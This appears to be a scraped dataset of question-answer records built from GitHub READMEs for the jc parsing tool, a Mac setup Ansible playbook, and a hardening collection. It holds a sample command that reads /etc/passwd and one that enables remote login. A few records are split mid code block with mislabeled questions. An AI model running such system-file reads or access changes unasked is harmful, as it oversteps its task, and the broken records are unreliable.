{"id": "gh_c5751ee4f095", "question": "How to: Pip (macOS, linux, unix, Windows)", "question_body": "About kellyjonbrazil/jc", "answer": "[![Pypi](https://img.shields.io/pypi/v/jc.svg)](https://pypi.org/project/jc/)\n```bash\npip3 install jc\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947201"}
{"id": "gh_e345a05b2c18", "question": "How to: OS Package Repositories", "question_body": "About kellyjonbrazil/jc", "answer": "| OS                                   | Command                                                                       |\n|--------------------------------------|-------------------------------------------------------------------------------|\n| Debian/Ubuntu linux                  | `apt-get install jc`                                                          |\n| Fedora linux                         | `dnf install jc`                                                              |\n| openSUSE linux                       | `zypper install jc`                                                           |\n| Arch linux                           | `pacman -S jc`                                                                |\n| NixOS linux                          | `nix-env -iA nixpkgs.jc` or `nix-env -iA nixos.jc`                            |\n| Guix System linux                    | `guix install jc`                                                             |\n| Gentoo Linux                         | `emerge dev-python/jc`                                                        |\n| Photon linux                         | `tdnf install jc`                                                             |\n| macOS                                | `brew install jc`                                                             |\n| FreeBSD                              | `portsnap fetch update && cd /usr/ports/textproc/py-jc && make install clean` |\n| Ansible filter plugin                | `ansible-galaxy collection install community.general`                         |\n| FortiSOAR connector                  | Install from FortiSOAR Connector Marketplace                                  |\n\n> For more OS Packages, see https://repology.org/project/jc/versions.", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947211"}
{"id": "gh_e1fb63fef8b5", "question": "How to: Exit Codes", "question_body": "About kellyjonbrazil/jc", "answer": "Any fatal errors within `jc` will generate an exit code of `100`, otherwise the\nexit code will be `0`.\n\nWhen using the \"magic\" syntax (e.g. `jc ifconfig eth0`),\n`jc` will store the exit code of the program being parsed and add it to the `jc`\nexit code. This way it is easier to determine if an error was from the parsed\nprogram or `jc`.\n\nConsider the following examples using `ifconfig`:\n\n| `ifconfig` exit code | `jc` exit code | Combined exit code | Interpretation                     |\n|----------------------|----------------|--------------------|------------------------------------|\n| `0`                  | `0`            | `0`                | No errors                          |\n| `1`                  | `0`            | `1`                | Error in  `ifconfig`               |\n| `0`                  | `100`          | `100`              | Error in  `jc`                     |\n| `1`                  | `100`          | `101`              | Error in  both `ifconfig` and `jc` |\n\nWhen using the \"magic\" syntax you can also retrieve the exit code of the called\nprogram by using the `--meta-out` or `-M` option. This will append a `_jc_meta`\nobject to the output that will include the magic command information, including\nthe exit code.\n\nHere is an example with `ping`:\n```bash\n$ jc --meta-out -p ping -c2 192.168.1.252\n{\n  \"destination_ip\": \"192.168.1.252\",\n  \"data_bytes\": 56,\n  \"pattern\": null,\n  \"destination\": \"192.168.1.252\",\n  \"packets_transmitted\": 2,\n  \"packets_received\": 0,\n  \"packet_loss_percent\": 100.0,\n  \"duplicates\": 0,\n  \"responses\": [\n    {\n      \"type\": \"timeout\",\n      \"icmp_seq\": 0,\n      \"duplicate\": false\n    }\n  ],\n  \"_jc_meta\": {\n    \"parser\": \"ping\",\n    \"timestamp\": 1661357115.27949,\n    \"magic_command\": [\n      \"ping\",\n      \"-c2\",\n      \"192.168.1.252\"\n    ],\n    \"magic_command_exit\": 2\n  }\n}\n$ echo $?\n2\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947269"}
{"id": "gh_67c1798d0b4a", "question": "How to: Setting Custom Colors via Environment Variable", "question_body": "About kellyjonbrazil/jc", "answer": "You can specify custom colors via the `JC_COLORS` environment variable. The\n`JC_COLORS` environment variable takes four comma separated string values in\nthe following format:\n```bash\nJC_COLORS=\n,\n,\n,\n```\n\nWhere colors are: `black`, `red`, `green`, `yellow`, `blue`, `magenta`, `cyan`,\n`gray`, `brightblack`, `brightred`, `brightgreen`, `brightyellow`, `brightblue`,\n`brightmagenta`, `brightcyan`, `white`, or  `default`\n\nFor example, to set to the default colors:\n```bash\nJC_COLORS=blue,brightblack,magenta,green\n```\nor\n```bash\nJC_COLORS=default,default,default,default\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947277"}
{"id": "gh_c0a6636025f2", "question": "How to: Disable Colors via Environment Variable", "question_body": "About kellyjonbrazil/jc", "answer": "You can set the [`NO_COLOR`](http://no-color.org/) environment variable to any\nvalue to disable color output in `jc`. Note that using the `-C` option to force\ncolor output will override both the `NO_COLOR` environment variable and the `-m`\noption.", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947283"}
{"id": "gh_7fb16493abcb", "question": "How to: Streaming Parsers", "question_body": "About kellyjonbrazil/jc", "answer": "Most parsers load all of the data from `STDIN`, parse it, then output the entire\nJSON document serially. There are some streaming parsers (e.g. `ls-s` and\n`ping-s`) that immediately start processing and outputting the data line-by-line\nas [JSON Lines](https://jsonlines.org/) (aka [NDJSON](http://ndjson.org/)) while\nit is being received from `STDIN`. This can significantly reduce the amount of\nmemory required to parse large amounts of command output (e.g. `ls -lR /`) and\ncan sometimes process the data more quickly. Streaming parsers have slightly\ndifferent behavior than standard parsers as outlined below.\n\n> Note: Streaming parsers cannot be used with the \"magic\" syntax\n\n#### Ignoring Errors\n\nYou may want to ignore parsing errors when using streaming parsers since these\nmay be used in long-lived processing pipelines and errors can break the pipe. To\nignore parsing errors, use the `-qq` cli option or the `ignore_exceptions=True`\nargument with the `parse()` function. This will add a `_jc_meta` object to the\nJSON output with a `success` attribute. If `success` is `true`, then there were\nno issues parsing the line. If `success` is `false`, then a parsing issue was\nfound and `error` and `line` fields will be added to include a short error\ndescription and the contents of the unparsable line, respectively:\n\nSuccessfully parsed line with `-qq` option:\n```json\n{\n  \"command_data\": \"data\",\n  \"_jc_meta\": {\n    \"success\": true\n  }\n}\n```\n\nUnsuccessfully parsed line with `-qq` option:\n```json\n{\n  \"_jc_meta\": {\n    \"success\": false,\n    \"error\": \"error message\",\n    \"line\": \"original line data\"\n  }\n}\n```\n\n#### Unbuffering Output\n\nMost operating systems will buffer output that is being piped from process to\nprocess. The buffer is usually around 4KB. When viewing the output in the\nterminal the OS buffer is not engaged so output is immediately displayed on the\nscreen. When piping multiple processes together, though, it may seem as if the\noutput is hanging when the input data is very slow (e.g. `ping`):\n```\n$ ping 1.1.1.1 | jc --ping-s | jq\n```\n\nThis is because the OS engages the 4KB buffer between `jc` and `jq` in this\nexample. To display the data on the terminal in realtime, you can disable the\nbuffer with the `-u` (unbuffer) cli option:\n```\n$ ping 1.1.1.1 | jc --ping-s -u | jq\n{\"type\":\"reply\",\"pattern\":null,\"timestamp\":null,\"bytes\":\"64\",\"respons...}\n{\"type\":\"reply\",\"pattern\":null,\"timestamp\":null,\"bytes\":\"64\",\"respons...}\n...\n```\n\n> Note: Unbuffered output can be slower for large data streams.\n\n#### Using Streaming Parsers as Python Modules\n\nStreaming parsers accept any iterable object and return an iterable object\nallowing lazy processing of the data. The input data should iterate on lines\nof string data. Examples of good input data are `sys.stdin` or\n`str.splitlines()`.\n\nTo use the returned iterable object in your code, simply loop through it or\nuse the [next()](https://docs.python.org/3/library/functions.html#next)\nbuiltin function:\n```python\nimport jc\n\nresult = jc.parse('ls_s', ls_command_output.splitlines())\nfor item in result:\n    print(item[\"filename\"])\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947296"}
{"id": "gh_c7340ed3536f", "question": "How to: Parser Plugins", "question_body": "About kellyjonbrazil/jc", "answer": "Parser plugins may be placed in a `jc/jcparsers` folder in your local\n**\"App data directory\"**:\n\n- Linux/unix: `$HOME/.local/share/jc/jcparsers`\n- macOS: `$HOME/Library/Application Support/jc/jcparsers`\n- Windows: `$LOCALAPPDATA\\jc\\jc\\jcparsers`\n\nParser plugins are standard python module files. Use the\n[`jc/parsers/foo.py`](https://github.com/kellyjonbrazil/jc/blob/master/jc/parsers/foo.py)\nor [`jc/parsers/foo_s.py (streaming)`](https://github.com/kellyjonbrazil/jc/blob/master/jc/parsers/foo_s.py)\nparser as a template and simply place a `.py` file in the `jcparsers` subfolder.\nAny dependencies can be placed in the `jc` folder above `jcparsers` and can\nbe imported in the parser code.\n\nParser plugin filenames must be valid python module names and therefore must\nstart with a letter and consist entirely of alphanumerics and underscores.\nLocal plugins may override default parsers.\n\n> Note: The application data directory follows the\n[XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html)", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947306"}
{"id": "gh_0c12ee17b2e9", "question": "How to: Use In Other Shells", "question_body": "About kellyjonbrazil/jc", "answer": "`jc` can be used in most any shell. Some modern shells have JSON deserialization\nand filtering capabilities built-in which makes using `jc` even more convenient.\n\nFor example, the following is possible in [NGS](https://ngs-lang.org/)\n(Next Generation Shell):\n```bash\nmyvar = ``jc dig www.google.com``[0].answer[0].data\n```\nThis runs `jc`, parses the output JSON, and assigs the resulting data structure\nto a variable in a single line of code.\n\nFor more examples of how to use `jc` in other shells, see this\n[wiki page](https://github.com/kellyjonbrazil/jc/wiki/Using-jc-With-Different-Shells).", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947314"}
{"id": "gh_8f81ad8340fd", "question": "How to: Compatibility", "question_body": "About kellyjonbrazil/jc", "answer": "Some parsers like `dig`, `xml`, `csv`, etc. will work on any platform. Other\nparsers that convert platform-specific output will generate a warning message if\nthey are run on an unsupported platform. To see all parser information,\nincluding compatibility, run `jc -ap`.\n\nYou may still use a parser on an unsupported platform - for example, you may\nwant to parse a file with linux `lsof` output on a macOS or Windows laptop. In\nthat case you can suppress the warning message with the `-q` cli option or the\n`quiet=True` function parameter in `parse()`:\n\nmacOS:\n```bash\ncat lsof.out | jc -q --lsof\n```\n\nor Windows:\n```bash\ntype lsof.out | jc -q --lsof\n```\n\nTested on:\n- Centos 7.7\n- Ubuntu 18.04\n- Ubuntu 20.04\n- Fedora32\n- macOS 10.11.6\n- macOS 10.14.6\n- NixOS\n- FreeBSD12\n- Windows 10\n- Windows 2016 Server\n- Windows 2019 Server", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947322"}
{"id": "gh_d2a06fe3877a", "question": "How to: Contributions", "question_body": "About kellyjonbrazil/jc", "answer": "Feel free to add/improve code or parsers! You can use the\n[`jc/parsers/foo.py`](https://github.com/kellyjonbrazil/jc/blob/master/jc/parsers/foo.py)\nor [`jc/parsers/foo_s.py (streaming)`](https://github.com/kellyjonbrazil/jc/blob/master/jc/parsers/foo_s.py) parsers as a template and submit your parser with a pull\nrequest.\n\nPlease see the [Contributing Guidelines](https://github.com/kellyjonbrazil/jc/blob/master/CONTRIBUTING.md) for more information.", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947328"}
{"id": "gh_957c3651f818", "question": "How to: Acknowledgments", "question_body": "About kellyjonbrazil/jc", "answer": "- Local parser plugin feature contributed by [Dean Serenevy](https://github.com/duelafn)\n- CI automation and code optimizations by [philippeitis](https://github.com/philippeitis)\n- [`ifconfig-parser`](https://github.com/KnightWhoSayNi/ifconfig-parser) module\n  by KnightWhoSayNi\n- [`xmltodict`](https://github.com/martinblech/xmltodict) module by Martín Blech\n- [`ruamel.yaml`](https://pypi.org/project/ruamel.yaml) module by Anthon van\n  der Neut\n- [`trparse`](https://github.com/lbenitez000/trparse) module by Luis Benitez\n- Parsing [code](https://gist.github.com/cahna/43a1a3ff4d075bcd71f9d7120037a501)\n  from Conor Heine adapted for some parsers\n- Excellent constructive feedback from [Ilya Sher](https://github.com/ilyash-b)", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947336"}
{"id": "gh_4d259fdb02e1", "question": "How to: /etc/hosts file", "question_body": "About kellyjonbrazil/jc", "answer": "```bash\ncat /etc/hosts | jc -p --hosts\n```\n```json\n[\n  {\n    \"ip\": \"127.0.0.1\",\n    \"hostname\": [\n      \"localhost\"\n    ]\n  },\n  {\n    \"ip\": \"::1\",\n    \"hostname\": [\n      \"ip6-localhost\",\n      \"ip6-loopback\"\n    ]\n  },\n  {\n    \"ip\": \"fe00::0\",\n    \"hostname\": [\n      \"ip6-localnet\"\n    ]\n  }\n]\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947348"}
{"id": "gh_907e17e2727e", "question": "How to: /etc/passwd file", "question_body": "About kellyjonbrazil/jc", "answer": "```bash\ncat /etc/passwd | jc -p --passwd\n```\n```json\n[\n  {\n    \"username\": \"root\",\n    \"password\": \"*\",\n    \"uid\": 0,\n    \"gid\": 0,\n    \"comment\": \"System Administrator\",\n    \"home\": \"/var/root\",\n    \"shell\": \"/bin/sh\"\n  },\n  {\n    \"username\": \"daemon\",\n    \"password\": \"*\",\n    \"uid\": 1,\n    \"gid\": 1,\n    \"comment\": \"System Services\",\n    \"home\": \"/var/root\",\n    \"shell\": \"/usr/bin/false\"\n  }\n]\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947378"}
{"id": "gh_b23e8b41ed4f", "question": "How to: traceroute", "question_body": "About kellyjonbrazil/jc", "answer": "```bash\ntraceroute -m 2 8.8.8.8 | jc -p --traceroute", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947389"}
{"id": "gh_ee3f9d74b765", "question": "How to: or:  jc -p traceroute -m 2 8.8.8.8", "question_body": "About kellyjonbrazil/jc", "answer": "```\n```json\n{\n  \"destination_ip\": \"8.8.8.8\",\n  \"destination_name\": \"8.8.8.8\",\n  \"hops\": [\n    {\n      \"hop\": 1,\n      \"probes\": [\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"192.168.1.254\",\n          \"name\": \"dsldevice.local.net\",\n          \"rtt\": 6.616\n        },\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"192.168.1.254\",\n          \"name\": \"dsldevice.local.net\",\n          \"rtt\": 6.413\n        },\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"192.168.1.254\",\n          \"name\": \"dsldevice.local.net\",\n          \"rtt\": 6.308\n        }\n      ]\n    },\n    {\n      \"hop\": 2,\n      \"probes\": [\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"76.220.24.1\",\n          \"name\": \"76-220-24-1.lightspeed.sntcca.sbcglobal.net\",\n          \"rtt\": 29.367\n        },\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"76.220.24.1\",\n          \"name\": \"76-220-24-1.lightspeed.sntcca.sbcglobal.net\",\n          \"rtt\": 40.197\n        },\n        {\n          \"annotation\": null,\n          \"asn\": null,\n          \"ip\": \"76.220.24.1\",\n          \"name\": \"76-220-24-1.lightspeed.sntcca.sbcglobal.net\",\n          \"rtt\": 29.162\n        }\n      ]\n    }\n  ]\n}\n```", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947398"}
{"id": "gh_4f8fc609e846", "question": "How to: YAML files", "question_body": "About kellyjonbrazil/jc", "answer": "```bash\ncat istio.yaml \n```\n```yaml\napiVersion: \"authentication.istio.io/v1alpha1\"\nkind: \"Policy\"\nmetadata:\n  name: \"default\"\n  namespace: \"default\"\nspec:\n  peers:\n  - mtls: {}\n---\napiVersion: \"networking.istio.io/v1alpha3\"\nkind: \"DestinationRule\"\nmetadata:\n  name: \"default\"\n  namespace: \"default\"\nspec:\n  host: \"*.default.svc.cluster.local\"\n  trafficPolicy:\n    tls:\n      mode: ISTIO_MUTUAL\n```\n```bash\ncat istio.yaml | jc -p --yaml\n```\n```json\n[\n  {\n    \"apiVersion\": \"authentication.istio.io/v1alpha1\",\n    \"kind\": \"Policy\",\n    \"metadata\": {\n      \"name\": \"default\",\n      \"namespace\": \"default\"\n    },\n    \"spec\": {\n      \"peers\": [\n        {\n          \"mtls\": {}\n        }\n      ]\n    }\n  },\n  {\n    \"apiVersion\": \"networking.istio.io/v1alpha3\",\n    \"kind\": \"DestinationRule\",\n    \"metadata\": {\n      \"name\": \"default\",\n      \"namespace\": \"default\"\n    },\n    \"spec\": {\n      \"host\": \"*.default.svc.cluster.local\",\n      \"trafficPolicy\": {\n        \"tls\": {\n          \"mode\": \"ISTIO_MUTUAL\"\n        }\n      }\n    }\n  }\n]\n```\n\n© 2019-2025 Kelly Brazil", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8507, "answer_score": 10, "has_code": true, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947414"}
{"id": "gh_31d4e83ff84c", "question": "How to: Mac Development Ansible Playbook", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "[![CI][badge-gh-actions]][link-gh-actions]\n\nThis playbook installs and configures most of the software I use on my Mac for web and software development. Some things in macOS are slightly difficult to automate, so I still have a few manual installation steps, but at least it's all documented here.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 6814, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768821"}
{"id": "gh_73000dd917b5", "question": "How to: Installation", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "1. Ensure Apple's command line tools are installed (`xcode-select --install` to launch the installer).\n  2. [Install Ansible](https://docs.ansible.com/ansible/latest/installation_guide/index.html):\n\n     1. Run the following command to add Python 3 to your $PATH: `export PATH=\"$HOME/Library/Python/3.9/bin:/opt/homebrew/bin:$PATH\"`\n     2. Upgrade Pip: `sudo pip3 install --upgrade pip`\n     3. Install Ansible: `pip3 install ansible`\n\n  3. Clone or download this repository to your local drive.\n  4. Run `ansible-galaxy install -r requirements.yml` inside this directory to install required Ansible roles.\n  5. Run `ansible-playbook main.yml --ask-become-pass` inside this directory. Enter your macOS account password when prompted for the 'BECOME' password.\n\n> Note: If some Homebrew commands fail, you might need to agree to Xcode's license or fix some other Brew issue. Run `brew doctor` to see if this is the case.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6814, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768837"}
{"id": "gh_d12745c1d637", "question": "How to: Use with a remote Mac", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "You can use this playbook to manage other Macs as well; the playbook doesn't even need to be run from a Mac at all! If you want to manage a remote Mac, either another Mac on your network, or a hosted Mac like the ones from [MacStadium](https://www.macstadium.com), you just need to make sure you can connect to it with SSH:\n\n  1. (On the Mac you want to connect to:) Go to System Settings > Sharing.\n  2. Enable 'Remote Login'.\n\n> You can also enable remote login on the command line:\n>\n>     sudo systemsetup -setremotelogin on\n\nThen edit the `inventory` file in this repository and change the line that starts with `127.0.0.1` to:\n\n```\n[ip address or hostname of mac]  ansible_user=[mac ssh username]\n```\n\nIf you need to supply an SSH password (if you don't use SSH keys), make sure to pass the `--ask-pass` parameter to the `ansible-playbook` command.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6814, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768845"}
{"id": "gh_a89c15c0cd25", "question": "How to: Running a specific set of tagged tasks", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "You can filter which part of the provisioning process to run by specifying a set of tags using `ansible-playbook`'s `--tags` flag. The tags available are `dotfiles`, `homebrew`, `mas`, `extra-packages` and `osx`.\n\n    ansible-playbook main.yml -K --tags \"dotfiles,homebrew\"", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 6814, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768851"}
{"id": "gh_93fb87441416", "question": "How to: Overriding Defaults", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "Not everyone's development environment and preferred software configuration is the same.\n\nYou can override any of the defaults configured in `default.config.yml` by creating a `config.yml` file and setting the overrides in that file. For example, you can customize the installed packages and apps with something like:\n\n```yaml\nhomebrew_installed_packages:\n  - git\n  - go\n\nmas_installed_apps:\n  - { id: 443987910, name: \"1Password\" }\n  - { id: 498486288, name: \"Quick Resizer\" }\n  - { id: 557168941, name: \"Tweetbot\" }\n  - { id: 497799835, name: \"Xcode\" }\n\ncomposer_packages:\n  - name: hirak/prestissimo\n  - name: drush/drush\n    version: '^8.1'\n\ngem_packages:\n  - name: bundler\n    state: latest\n\nnpm_packages:\n  - name: webpack\n\npip_packages:\n  - name: mkdocs\n\nconfigure_dock: true\ndockitems_remove:\n  - Launchpad\n  - TV\ndockitems_persist:\n  - name: \"Sublime Text\"\n    path: \"/Applications/Sublime Text.app/\"\n    pos: 5\n```\n\nAny variable can be overridden in `config.yml`; see the supporting roles' documentation for a complete list of available variables.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6814, "answer_score": 10, "has_code": true, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768860"}
{"id": "gh_3868c95bdda2", "question": "How to: Included Applications / Configuration (Default)", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "Applications (installed with Homebrew Cask):\n\n  - [ChromeDriver](https://sites.google.com/chromium.org/driver/)\n  - [Docker](https://www.docker.com/)\n  - [Dropbox](https://www.dropbox.com/)\n  - [Firefox](https://www.mozilla.org/en-US/firefox/new/)\n  - [Google Chrome](https://www.google.com/chrome/)\n  - [Handbrake](https://handbrake.fr/)\n  - [Homebrew](http://brew.sh/)\n  - [LICEcap](http://www.cockos.com/licecap/)\n  - [nvALT](http://brettterpstra.com/projects/nvalt/)\n  - [Sequel Ace](https://sequel-ace.com) (MySQL client)\n  - [Slack](https://slack.com/)\n  - [Sublime Text](https://www.sublimetext.com/)\n  - [Transmit](https://panic.com/transmit/) (S/FTP client)\n\nPackages (installed with Homebrew):\n\n  - autoconf\n  - bash-completion\n  - doxygen\n  - gettext\n  - gifsicle\n  - git\n  - gh\n  - go\n  - gpg\n  - httpie\n  - iperf\n  - libevent\n  - sqlite\n  - nmap\n  - node\n  - nvm\n  - php\n  - ssh-copy-id\n  - readline\n  - openssl\n  - pv\n  - wget\n  - wrk\n  - zsh-history-substring-search\n\nMy [dotfiles](https://github.com/geerlingguy/dotfiles) are also installed into the current user's home directory, including the `.osx` dotfile for configuring many aspects of macOS for better performance and ease of use. You can disable dotfiles management by setting `configure_dotfiles: no` in your configuration.\n\nFinally, there are a few other preferences and settings added on for various apps and services.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6814, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768872"}
{"id": "gh_b41c11dc8f73", "question": "How to: Full / From-scratch setup guide", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "Since I've used this playbook to set up something like 20 different Macs, I decided to write up a full 100% from-scratch install for my own reference (everyone's particular install will be slightly different).\n\nYou can see my full from-scratch setup document here: [full-mac-setup.md](full-mac-setup.md).", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6814, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768878"}
{"id": "gh_62423b57eee9", "question": "How to: Testing the Playbook", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "Many people have asked me if I often wipe my entire workstation and start from scratch just to test changes to the playbook. Nope! This project is [continuously tested on GitHub Actions' macOS infrastructure](https://github.com/geerlingguy/mac-dev-playbook/actions?query=workflow%3ACI).\n\nYou can also run macOS itself inside a VM, for at least some of the required testing (App Store apps and some proprietary software might not install properly). I currently recommend:\n\n  - [UTM](https://mac.getutm.app)\n  - [Tart](https://github.com/cirruslabs/tart)", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6814, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768885"}
{"id": "gh_dbb393f8d7dd", "question": "How to: Ansible for DevOps", "question_body": "About geerlingguy/mac-dev-playbook", "answer": "Check out [Ansible for DevOps](https://www.ansiblefordevops.com/), which teaches you how to automate almost anything with Ansible.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 6814, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/mac-dev-playbook", "collected_at": "2026-01-17T08:18:55.768890"}
{"id": "gh_3ea78efd0711", "question": "How to: Description", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "This collection provides battle tested hardening for:\n\n- Linux operating systems:\n  - CentOS Stream 9\n  - AlmaLinux 8/9/10\n  - Rocky Linux 8/9/10\n  - Debian 11/12/13\n  - Ubuntu 20.04/22.04/24.04\n  - Amazon Linux (some roles supported)\n  - Arch Linux (some roles supported)\n  - Fedora 39/40 (some roles supported)\n  - Suse Tumbleweed (some roles supported)\n- MySQL\n  - MariaDB >= 5.5.65, >= 10.1.45, >= 10.3.17\n  - MySQL >= 5.7.31, >= 8.0.3\n- Nginx 1.0.16 or later\n- OpenSSH 5.3 and later\n\nThe hardening is intended to be compliant with the Inspec DevSec Baselines:\n\n-\n-\n-\n-", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620354"}
{"id": "gh_e4dc42125bd6", "question": "How to: Looking for the old roles?", "question_body": "About dev-sec/ansible-collection-hardening", "answer": "The roles are now part of the hardening-collection.\nWe have kept the old releases of the `os-hardening` role in this repository, so you can find the them by exploring older tags.\nThe last release of the standalone role was [6.2.0](https://github.com/dev-sec/ansible-collection-hardening/tree/6.2.0).\n\nThe other roles are in separate archives repositories:\n\n- [apache_hardening](https://github.com/dev-sec/ansible-apache-hardening)\n- [mysql_hardening](https://github.com/dev-sec/ansible-mysql-hardening)\n- [nginx_hardening](https://github.com/dev-sec/ansible-nginx-hardening)\n- [ssh_hardening](https://github.com/dev-sec/ansible-ssh-hardening)\n- [windows_hardening](https://github.com/dev-sec/ansible-windows-hardening)", "tags": ["dev-sec"], "source": "github_gists", "category": "dev-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 5124, "answer_score": 10, "has_code": false, "url": "https://github.com/dev-sec/ansible-collection-hardening", "collected_at": "2026-01-17T08:18:57.620378"}
